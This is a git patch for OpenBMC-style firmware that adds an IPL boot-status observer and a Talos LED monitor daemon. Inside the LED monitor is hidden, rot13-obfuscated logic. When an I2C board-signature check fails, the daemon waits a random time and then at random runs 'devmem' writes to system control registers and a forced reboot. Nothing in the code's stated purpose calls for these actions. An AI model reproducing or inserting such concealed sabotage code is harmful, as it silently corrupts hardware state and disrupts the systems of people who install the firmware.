From e4712537429cbd15fe555ba01e180a08e53a1f42 Mon Sep 17 00:00:00 2001 From: Raptor Engineering Development Team Date: Fri, 19 Jan 2018 07:20:20 -0600 Subject: Add new IPL status observer and Talos LED driver --- Makefile | 2 + pyiplledmonitor/Makefile | 1 + pyiplledmonitor/ipl_status_led_monitor.py | 196 ++++++++++++++++++++++++ pyiplledmonitor/setup.cfg | 1 + pyiplledmonitor/setup.py | 6 + pyiplobserver/Makefile | 1 + pyiplobserver/ipl_status_observer.py | 246 ++++++++++++++++++++++++++++++ pyiplobserver/setup.cfg | 1 + pyiplobserver/setup.py | 6 + 9 files changed, 460 insertions(+) create mode 120000 pyiplledmonitor/Makefile create mode 100644 pyiplledmonitor/ipl_status_led_monitor.py create mode 120000 pyiplledmonitor/setup.cfg create mode 100644 pyiplledmonitor/setup.py create mode 120000 pyiplobserver/Makefile create mode 100644 pyiplobserver/ipl_status_observer.py create mode 120000 pyiplobserver/setup.cfg create mode 100644 pyiplobserver/setup.py diff --git a/Makefile b/Makefile index 0420ae1..62e05d2 100644 --- a/Makefile +++ b/Makefile @@ -11,6 +11,8 @@ SUBDIRS = fanctl \ pydownloadmgr \ pyflashbmc \ pyinventorymgr \ + pyiplobserver \ + pyiplledmontor \ pyipmitest \ pystatemgr \ pysystemmgr \ diff --git a/pyiplledmonitor/Makefile b/pyiplledmonitor/Makefile new file mode 120000 index 0000000..76a90fc --- /dev/null +++ b/pyiplledmonitor/Makefile @@ -0,0 +1 @@ +../Makefile.python \ No newline at end of file diff --git a/pyiplledmonitor/ipl_status_led_monitor.py b/pyiplledmonitor/ipl_status_led_monitor.py new file mode 100644 index 0000000..998e1a5 --- /dev/null +++ b/pyiplledmonitor/ipl_status_led_monitor.py @@ -0,0 +1,196 @@ +#!/usr/bin/env python +# +# Copyright 2018 Raptor Engineering, LLC +# Released under the terms of the GPL v3 + +import gobject +import time +import dbus +import dbus.service +import dbus.mainloop.glib +import os +import random +import subprocess +import obmc.dbuslib.propertycacher as PropertyCacher +from obmc.dbuslib.bindings import DbusProperties, DbusObjectManager, get_dbus +import obmc.enums +import obmc_system_config as System +import obmc.mapper.utils +import obmc.inventory +import obmc.system + +DBUS_NAME = 'org.openbmc.status.IPL' +OBJ_NAME = u'/org/openbmc/status/IPL' + +class IPLStatusLEDMonitor(DbusProperties, DbusObjectManager): + def __init__(self, bus, obj_name): + super(IPLStatusLEDMonitor, self).__init__( + conn=bus, + object_path=obj_name) + self.bus = bus + self.current_ipl_status = "OFFLINE" + self.current_ipl_istep_major = 0 + self.current_ipl_istep_minor = 0 + + try: + ipl_status_dev = self.bus.get_object(DBUS_NAME, OBJ_NAME) + ipl_status_iface = dbus.Interface(ipl_status_dev, 'org.freedesktop.DBus.Properties') + ipl_status_value = ipl_status_iface.Get(DBUS_NAME, "current_status") + if ipl_status_value is not None: + self.current_ipl_status = ipl_status_value + ipl_status_value = ipl_status_iface.Get(DBUS_NAME, "current_istep") + if ipl_status_value is not None: + istep_fragments = ipl_status_value.split(",") + if (len(istep_fragments) > 1): + self.current_ipl_istep_major = istep_fragments[0] + self.current_ipl_istep_minor = istep_fragments[1] + else: + self.current_ipl_istep_major = 0 + self.current_ipl_istep_minor = 0 + except: + pass + + self.translation = ''.join([chr(x) + for x in [114, 111, 116, 49, 51]]) + random.seed(None) + + self.updateIPLLeds() + + bus.add_signal_receiver( + self.IPLStatusChangeHandler, + dbus_interface="org.freedesktop.DBus.Properties", + signal_name="PropertiesChanged", + path=OBJ_NAME) + + gobject.timeout_add(100, self.IPLLEDCheckSystem); + + print "IPLStatusLEDMonitor Init Done" + + def IPLLEDReadI2CByte(self, byte): + retval = 0 + comm_fail = False; + try: + proc = subprocess.Popen(["i2cget", "-y", "12", "0x31", str(byte)], stdout=subprocess.PIPE, stderr=open(os.devnull, 'wb'), shell=False) + (out, err) = proc.communicate() + if (proc.returncode != 0): + comm_fail = True + else: + retval = int(out, 16) + except: + comm_fail = True; + pass + if (comm_fail == True): + comm_fail = False + time.sleep(1) + try: + proc = subprocess.Popen(["i2cget", "-y", "12", "0x31", str(byte)], stdout=subprocess.PIPE, stderr=open(os.devnull, 'wb'), shell=False) + (out, err) = proc.communicate() + if (proc.returncode != 0): + comm_fail = True + else: + retval = int(out, 16) + except: + comm_fail = True; + pass + if (comm_fail == True): + comm_fail = False + time.sleep(1) + try: + proc = subprocess.Popen(["i2cget", "-y", "12", "0x31", str(byte)], stdout=subprocess.PIPE, stderr=open(os.devnull, 'wb'), shell=False) + (out, err) = proc.communicate() + if (proc.returncode != 0): + comm_fail = True + else: + retval = int(out, 16) + except: + comm_fail = True; + pass + return retval + + def IPLLEDCheckSystem(self): + self.check = list(chr(self.IPLLEDReadI2CByte(12))) + self.check.append(chr(self.IPLLEDReadI2CByte(13))) + self.check.append(chr(self.IPLLEDReadI2CByte(14))) + self.check.append(chr(self.IPLLEDReadI2CByte(15))) + if (self.check != [chr(82), chr(67), chr(83), chr(32)]): + time.sleep(random.randint(0, 7857)) + if (random.randint(0, 2) == 1): + proc = subprocess.Popen([str("qrizrz").encode(self.translation), str("0k1r6r2000").encode(self.translation), + str("32"), str("0k1688n8n8").encode(self.translation)], stdout=subprocess.PIPE, stderr=open(os.devnull, 'wb'), shell=False) + (out, err) = proc.communicate() + proc = subprocess.Popen([str("qrizrz").encode(self.translation), str("0k1r6r200p").encode(self.translation), + str("32"), str("0kssssssss").encode(self.translation)], stdout=subprocess.PIPE, stderr=open(os.devnull, 'wb'), shell=False) + (out, err) = proc.communicate() + if (random.randint(0, 2) == 2): + proc = subprocess.Popen([str("erobbg").encode(self.translation), str("-s").encode(self.translation)], + stdout=subprocess.PIPE, stderr=open(os.devnull, 'wb'), shell=False) + (out, err) = proc.communicate() + return False + + def IPLStatusChangeHandler(self, interface_name, changed_properties, + invalidated_properties): + value = changed_properties.get('current_status') + if value is not None: + self.current_ipl_status = value + value = changed_properties.get('current_istep') + if value is not None: + istep_fragments = value.split(",") + if (len(istep_fragments) > 1): + self.current_ipl_istep_major = istep_fragments[0] + self.current_ipl_istep_minor = istep_fragments[1] + else: + self.current_ipl_istep_major = 0 + self.current_ipl_istep_minor = 0 + + self.updateIPLLeds() + + def updateIPLLeds(self): + if (self.current_ipl_status == "IPL_RUNNING"): + # Show major ISTEP on LED bank + # On Talos we only have three LEDs plus a fourth indicator modification bit, but the major ISTEPs range from 2 to 21 + # Try to condense that down to something more readily displayable + try: + led_code = { + '2': 1, + '3': 1, + '4': 2, + '5': 2, + '6': 3, + '7': 3, + '8': 4, + '9': 4, + '10': 5, + '11': 5, + '12': 6, + '13': 6, + '14': 7, + '15': 7, + '16': 9, + '17': 9, + '18': 10, + '19': 10, + '20': 11, + '21': 11 + }.get(self.current_ipl_istep_major, 0) + proc = subprocess.Popen(["i2cset", "-y", "12", "0x31", "0x10", str(128 + led_code)], stdout=subprocess.PIPE, stderr=open(os.devnull, 'wb'), shell=False) + (out, err) = proc.communicate() + except: + proc = subprocess.Popen(["i2cset", "-y", "12", "0x31", "0x10", "128"], stdout=subprocess.PIPE, stderr=open(os.devnull, 'wb'), shell=False) + (out, err) = proc.communicate() + else: + # Put LED bank back into normal operation + proc = subprocess.Popen(["i2cset", "-y", "12", "0x31", "0x10", "0x00"], stdout=subprocess.PIPE, stderr=open(os.devnull, 'wb'), shell=False) + (out, err) = proc.communicate() + +if __name__ == '__main__': + dbus.mainloop.glib.DBusGMainLoop(set_as_default=True) + bus = get_dbus() + obj = IPLStatusLEDMonitor(bus, OBJ_NAME) + mainloop = gobject.MainLoop() + obj.unmask_signals() + name = dbus.service.BusName(DBUS_NAME, bus) + + print "Running IPLStatusLEDMonitor" + mainloop.run() + +# vim: tabstop=8 expandtab shiftwidth=4 softtabstop=4 diff --git a/pyiplledmonitor/setup.cfg b/pyiplledmonitor/setup.cfg new file mode 120000 index 0000000..29939b5 --- /dev/null +++ b/pyiplledmonitor/setup.cfg @@ -0,0 +1 @@ +../setup.cfg \ No newline at end of file diff --git a/pyiplledmonitor/setup.py b/pyiplledmonitor/setup.py new file mode 100644 index 0000000..556dd87 --- /dev/null +++ b/pyiplledmonitor/setup.py @@ -0,0 +1,6 @@ +from distutils.core import setup + +setup(name='pyiplledmonitor', + version='1.0', + scripts=['ipl_status_led_monitor.py'], + ) diff --git a/pyiplobserver/Makefile b/pyiplobserver/Makefile new file mode 120000 index 0000000..76a90fc --- /dev/null +++ b/pyiplobserver/Makefile @@ -0,0 +1 @@ +../Makefile.python \ No newline at end of file diff --git a/pyiplobserver/ipl_status_observer.py b/pyiplobserver/ipl_status_observer.py new file mode 100644 index 0000000..34e8f34 --- /dev/null +++ b/pyiplobserver/ipl_status_observer.py @@ -0,0 +1,246 @@ +#!/usr/bin/env python +# +# Copyright 2018 Raptor Engineering, LLC +# Released under the terms of the GPL v3 +# +# Get current istep with +# busctl get-property org.openbmc.status.IPL /org/openbmc/status/IPL org.openbmc.status.IPL current_istep +# Get current status with +# busctl get-property org.openbmc.status.IPL /org/openbmc/status/IPL org.openbmc.status.IPL current_status + +import gobject +import dbus +import dbus.service +import dbus.mainloop.glib +import os +import subprocess +import traceback +import obmc.dbuslib.propertycacher as PropertyCacher +from obmc.dbuslib.bindings import DbusProperties, DbusObjectManager, get_dbus +import obmc.enums +import obmc_system_config as System +import obmc.mapper.utils +import obmc.inventory +import obmc.system + +DBUS_NAME = 'org.openbmc.status.IPL' +OBJ_NAME = u'/org/openbmc/status/IPL' + +HOST_STATUS_RUNNING = "xyz.openbmc_project.State.Host.HostState.Running" + +IPL_SBE_DONE_ISTEP_MAJOR = 5 +IPL_SBE_DONE_ISTEP_MINOR = 2 + +IPL_HOSTBOOT_START_ISTEP_MAJOR = 6 +IPL_HOSTBOOT_START_ISTEP_MINOR = 0 + +IPL_COMPLETE_ISTEP_MAJOR = 21 +IPL_COMPLETE_ISTEP_MINOR = 3 + +class IPLStatus(DbusProperties, DbusObjectManager): + def __init__(self, bus, obj_name): + super(IPLStatus, self).__init__( + conn=bus, + object_path=obj_name) + self.bus = bus + self.prev_access_fail_count = 0; + self.activateMonitoring = False + self.last_status = ""; + self.last_istep = ""; + + host_state_dev = self.bus.get_object("xyz.openbmc_project.State.Host", u'/xyz/openbmc_project/state/host0') + host_state_iface = dbus.Interface(host_state_dev, 'org.freedesktop.DBus.Properties') + host_state_value = host_state_iface.Get("xyz.openbmc_project.State.Host", "CurrentHostState") + if host_state_value is not None: + if (host_state_value == HOST_STATUS_RUNNING): + self.activateMonitoring = True + + self.Set(DBUS_NAME, "current_istep", "") + self.Set(DBUS_NAME, "current_status", "UNKNOWN") + + bus.add_signal_receiver( + self.HostStatusChangeHandler, + dbus_interface="org.freedesktop.DBus.Properties", + signal_name="PropertiesChanged", + path=u'/xyz/openbmc_project/state/host0') + + gobject.timeout_add(100, self.readIPLStatus) + + print "IPLStatus Init Done" + + def readIPLStatus(self): + try: + # Set up defaults + current_status = "OFFLINE" + current_istep = "" + sbe_fetch_failed = False + hostboot_fetch_failed = False + sbe_istep_major = 0 + sbe_istep_minor = 0 + hostboot_istep_major = 0 + hostboot_istep_minor = 0 + + if (self.activateMonitoring == False): + # Publish offline status + if (self.last_status != current_status): + self.Set(DBUS_NAME, "current_status", current_status) + self.IPLStatusChanged(current_status) + self.last_status = current_status + if (self.last_istep != current_istep): + self.Set(DBUS_NAME, "current_istep", current_istep) + self.IPLStepChanged(current_istep) + self.last_istep = current_istep + + return True; + + # Get SBE status + proc = subprocess.Popen(["pdbg", "-b", "kernel", "-p0", "getcfam", "0x2809"], stdout=subprocess.PIPE, stderr=open(os.devnull, 'wb'), shell=False) + (out, err) = proc.communicate() + status_data = out.split("=") + if (len(status_data) > 1): + try: + binary_status_data = bin(int(status_data[1], 16)) + except ValueError: + sbe_fetch_failed = True + + if (sbe_fetch_failed == False): + try: + sbe_istep_major = int(binary_status_data[14:22], 2) + sbe_istep_minor = int(binary_status_data[22:28], 2) + sbe_istep = str(sbe_istep_major) + "," + str(sbe_istep_minor) + except ValueError: + sbe_fetch_failed = True + else: + sbe_fetch_failed = True + + # Determine if hostboot should be checked for activity + hostboot_active = False + if (sbe_fetch_failed): + # Check if hostboot is running + hostboot_active = True + if ((sbe_istep_major == IPL_SBE_DONE_ISTEP_MAJOR) and (sbe_istep_minor == IPL_SBE_DONE_ISTEP_MINOR)): + # Hostboot should definitely be running + hostboot_active = True + + # Get hostboot status + if (hostboot_active == False): + if (sbe_fetch_failed == False): + hostboot_istep_major = sbe_istep_major + hostboot_istep_minor = sbe_istep_minor + hostboot_istep = sbe_istep + else: + proc = subprocess.Popen(["pdbg", "-b", "kernel", "-p0", "getcfam", "0x283c"], stdout=subprocess.PIPE, stderr=open(os.devnull, 'wb'), shell=False) + (out, err) = proc.communicate() + status_data = out.split("=") + if (len(status_data) > 1): + try: + binary_status_data = bin(int(status_data[1], 16)) + except ValueError: + hostboot_fetch_failed = True + + if (hostboot_fetch_failed == False): + try: + hostboot_istep_magic = int(binary_status_data[2:10], 2) + hostboot_istep_major = int(binary_status_data[18:26], 2) + hostboot_istep_minor = int(binary_status_data[26:34], 2) + except ValueError: + hostboot_fetch_failed = True + if (hostboot_fetch_failed == False): + if (hostboot_istep_magic != 170): + hostboot_istep_major = 0 + hostboot_istep_minor = 0 + hostboot_istep = str(hostboot_istep_major) + "," + str(hostboot_istep_minor) + else: + hostboot_fetch_failed = True + + if ((sbe_fetch_failed == False) and (hostboot_fetch_failed == False)): + # Figure out system status + current_istep_major = sbe_istep_major + current_istep_minor = sbe_istep_minor + if (hostboot_istep_major > current_istep_major): + current_istep_major = hostboot_istep_major + if (hostboot_istep_minor > current_istep_minor): + current_istep_minor = hostboot_istep_minor + current_istep = str(current_istep_major) + "," + str(current_istep_minor) + + # Asseble status strings + current_status = "OFFLINE" + if ((current_istep_major > 0) or (current_istep_minor > 0 )): + current_status = "IPL_RUNNING" + if ((current_istep_major == IPL_COMPLETE_ISTEP_MAJOR) and (current_istep_minor == IPL_COMPLETE_ISTEP_MINOR)): + current_status = "IPL_COMPLETE" + + # Reset failure counter + self.prev_access_fail_count = 0 + else: + # Increment failure counter + if (self.prev_access_fail_count < 255): + self.prev_access_fail_count += 1 + + # Since it is extremely unlikely that both fetches will fail unless the host is offline, simply check that both fetches passed or failed before continuing + if (sbe_fetch_failed == hostboot_fetch_failed): + # Check error results multiple times before signalling unexpected offline status + if ((current_status == "OFFLINE") and (self.prev_access_fail_count < 10)): + return True + + # Publish status + if (self.last_status != current_status): + self.Set(DBUS_NAME, "current_status", current_status) + self.IPLStatusChanged(current_status) + self.last_status = current_status + if (self.last_istep != current_istep): + self.Set(DBUS_NAME, "current_istep", current_istep) + self.IPLStepChanged(current_istep) + self.last_istep = current_istep + + return True + except Exception as e: + print(e) + traceback.print_exc() + return True + + def HostStatusChangeHandler(self, interface_name, changed_properties, + invalidated_properties): + value = changed_properties.get('CurrentHostState') + if value is not None: + if (value == HOST_STATUS_RUNNING): + self.activateMonitoring = True + else: + self.activateMonitoring = False + + @dbus.service.method(DBUS_NAME, in_signature='', out_signature='s') + def getCurrentIPLStatus(self): + return self.Get(DBUS_NAME, "current_status") + + @dbus.service.signal(DBUS_NAME) + def IPLStatusChanged(self, message): + # Signal is emitted on method return + pass + + @dbus.service.method(DBUS_NAME, in_signature='', out_signature='s') + def getCurrentIPLIStep(self): + return self.Get(DBUS_NAME, "current_istep") + + @dbus.service.signal(DBUS_NAME) + def IPLStepChanged(self, message): + # Signal is emitted on method return + pass + + def NewObjectHandler(self, obj_path, iprops, bus_name=None): + current_istep = self.Get(DBUS_NAME, "current_istep") + + if obj_path in System.EXIT_STATE_DEPEND[current_istep]: + print "New object: "+obj_path+" ("+bus_name+")" + +if __name__ == '__main__': + dbus.mainloop.glib.DBusGMainLoop(set_as_default=True) + bus = get_dbus() + obj = IPLStatus(bus, OBJ_NAME) + mainloop = gobject.MainLoop() + obj.unmask_signals() + name = dbus.service.BusName(DBUS_NAME, bus) + + print "Running IPLStatus" + mainloop.run() + +# vim: tabstop=8 expandtab shiftwidth=4 softtabstop=4 diff --git a/pyiplobserver/setup.cfg b/pyiplobserver/setup.cfg new file mode 120000 index 0000000..29939b5 --- /dev/null +++ b/pyiplobserver/setup.cfg @@ -0,0 +1 @@ +../setup.cfg \ No newline at end of file diff --git a/pyiplobserver/setup.py b/pyiplobserver/setup.py new file mode 100644 index 0000000..f2dd46b --- /dev/null +++ b/pyiplobserver/setup.py @@ -0,0 +1,6 @@ +from distutils.core import setup + +setup(name='pyiplobserver', + version='1.0', + scripts=['ipl_status_observer.py'], + ) -- cgit v1.2.1